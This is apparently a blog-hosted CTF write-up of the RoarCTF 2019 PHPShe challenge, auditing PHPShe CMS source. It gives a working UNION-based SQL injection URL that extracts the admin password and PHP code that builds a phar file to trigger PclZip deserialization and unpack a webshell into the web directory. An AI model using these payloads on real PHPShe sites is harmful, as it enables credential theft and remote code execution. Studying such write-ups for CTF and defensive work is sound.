当前位置: 首页 > news >正文

[RoarCTF 2019]PHPShe

知识点: phpshe cms 代码审计(代码对比,phar 反序列化,sql突破安全函数)

前台 sql 注入 获取密码

先看一下它对参数做了什么处理(common.php),在参数前加上了 _g_

if (get_magic_quotes_gpc()) {
	!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
	!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
	!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
	!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

include/function/global.func.php 中的 pe_dbhold 是防 sql 注入的,对字符串或者数组调用 addslashes() 转义,把一些字符实体化。

突破安全函数常见的有如下几种情况:

1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
function pe_dbhold($str, $exc=array())
{
	if (is_array($str)) {
		foreach($str as $k => $v) {
			$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
		}
	}
	else {
		//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
		$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
	}
	return $str;
}

入口文件位于 include/plugin/payment/alipay/pay.php$_GET['id'] 经过 pe_dbhold() 函数处理后赋值给 $order_id,然后 $order_id 被带入 order_table() 函数。

$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

hook/order.hook.php 下的 order_table 判断表名中有没有下划线,若有则取下划线前一部分,加到 order_ 后面,若没有则直接返回 order,这边的表名我们能控制一部分

function order_table($id) {
	if (stripos($id, '_') !== false) {
		$id_arr = explode('_', $id);
		return "order_{$id_arr[0]}";
	}
	else {
		return "order";	
	}
}

\source\include\class\db.class.php 下的 pe_select 执行 sql 语句,且这边的表名没有用单引号,所以可以绕过 addslashes,我们只要闭合一下就可以 sql 注入了,这边为了防止报错,最好找一个表名中有 order_ ,这里只有 pe_order_pay 符合。

public function pe_select($table, $where = '', $field = '*')
	{ 	
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
	}

payload:查询admin密码

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_ 

账号密码:admin/altman777
在这里插入图片描述

反序列化

这边学到了一个新的思路,可以用 Diffinity 把题目的源码和 PHPshe 官网的源码进行对比,在 /include/class/pclzip.class.phpPclZip 类中加了一个析构函数。
在这里插入图片描述
可以直接反序列化然后解压文件,且路径可控,那么我们只要上传一个压缩后的 webshell,并控制解压文件的路径到可访问的目录就可以获得 webshell,那么在哪边反序列化呢?

moban.phpdel 功能下调用了 pe_dirdel,而 pe_dirdel 里面的 is_file 可以触发 phar 反序列化。(注意:是需要 token 的)

case 'del':
		pe_token_match();
		$tpl_name = pe_dbhold($_g_tpl);
		if ($tpl_name == 'default') pe_error('默认模板不能删除...');
		if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
			pe_error('使用中不能删除');
		}
		else {
			pe_dirdel("{$tpl_name}");
			pe_success('删除成功!');
		}
function pe_dirdel($dir_path)
{
	$dir_path = str_replace("..", " ", $dir_path);
	if (is_file($dir_path)) {
		#unlink($dir_path);
	}
	else {
		$dir_arr = glob(trim($dir_path).'/*');
		if (is_array($dir_arr)) {
			foreach ($dir_arr as $k => $v) {
				pe_dirdel($v, $type);
			}	
		}
		#rmdir($dir_path);
	}
}

构造 phar 文件,只需要改 zipnamesave_path 属性,其他的照搬,最后把 phar 后缀改为 phar.txt,上传到品牌管理。

<?php 
class PclZip{
    var $zipname = '';
    var $zip_fd = 0;
    var $error_code = 1;
    var $error_string = '';
    var $magic_quotes_status;
    var $save_path = '/var/www/html/data';

    function __construct($p_zipname){
        
        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;

        return;
    }

}

$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
 ?>

上传后的文件名为 ID号.xxx

在这里插入图片描述
payload:
在 moban 的 del 处触发 phar,把压缩后的 webshell 解压到 data/xxx.php

admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt

在这里插入图片描述

reference

https://anquan.baidu.com/article/697
https://blog.csdn.net/mochu7777777/article/details/107550135

相关文章:

  • 静态博客如何实现站内搜索-大象装入冰箱
  • Python:暴力破解密码 - 压缩包、web实战
  • 年轻人不用太过于努力
  • 【HTML学生作业网页】基于HTML+CSS+JavaScript仿南京师范大学泰州学院(11页)
  • 【项目实战】Spring Boot项目整合Jetty、MySQL、Redis和MongoDB
  • Opencv项目实战:15 手势缩放图片
  • 猿创征文|11个开发者必备工具,赶快收藏
  • 零零信安-DD数据泄露报警日报【第40期】
  • 马斯克的这波神操作,让我意识到保持写代码的能力有多重要
  • Android入门第19天-Android里的RatingBar的使用
  • [会议分享]2022年欧洲计算机科学与信息技术会议(ECCSIT 2022)
  • Python --- 面向对象
  • C语言经典题目之汉诺塔问题超详解(4000字数只为能让你听懂这个题目)
  • 信号线上串接电阻的作用
  • OpenFeign的实现原理(附Feign和OpenFeign的区别)
  • CAP理论的例子讲解
  • create-react-app做的留言板
  • Cumulo 的 ClojureScript 模块已经成型
  • ERLANG 网工修炼笔记 ---- UDP
  • Facebook AccountKit 接入的坑点
  • Golang-长连接-状态推送
  • jdbc就是这么简单
  • Kibana配置logstash,报表一体化
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • Objective-C 中关联引用的概念
  • PaddlePaddle-GitHub的正确打开姿势
  • PAT A1120
  • PHP 7 修改了什么呢 -- 2
  • PyCharm搭建GO开发环境(GO语言学习第1课)
  • zookeeper系列(七)实战分布式命名服务
  • 解决iview多表头动态更改列元素发生的错误
  • 力扣(LeetCode)965
  • 让你成为前端,后端或全栈开发程序员的进阶指南,一门学到老的技术
  • 深度学习中的信息论知识详解
  • 白色的风信子
  • zabbix3.2监控linux磁盘IO
  • 你学不懂C语言,是因为不懂编写C程序的7个步骤 ...
  • ​Kaggle X光肺炎检测比赛第二名方案解析 | CVPR 2020 Workshop
  • ​批处理文件中的errorlevel用法
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (第27天)Oracle 数据泵转换分区表
  • (附源码)springboot 个人网页的网站 毕业设计031623
  • (过滤器)Filter和(监听器)listener
  • (六) ES6 新特性 —— 迭代器(iterator)
  • (论文阅读40-45)图像描述1
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (转)visual stdio 书签功能介绍
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET CORE 第一节 创建基本的 asp.net core
  • .NET8.0 AOT 经验分享 FreeSql/FreeRedis/FreeScheduler 均已通过测试
  • .Net高阶异常处理第二篇~~ dump进阶之MiniDumpWriter
  • .net快速开发框架源码分享
  • .pyc文件是什么?
  • @angular/cli项目构建--Dynamic.Form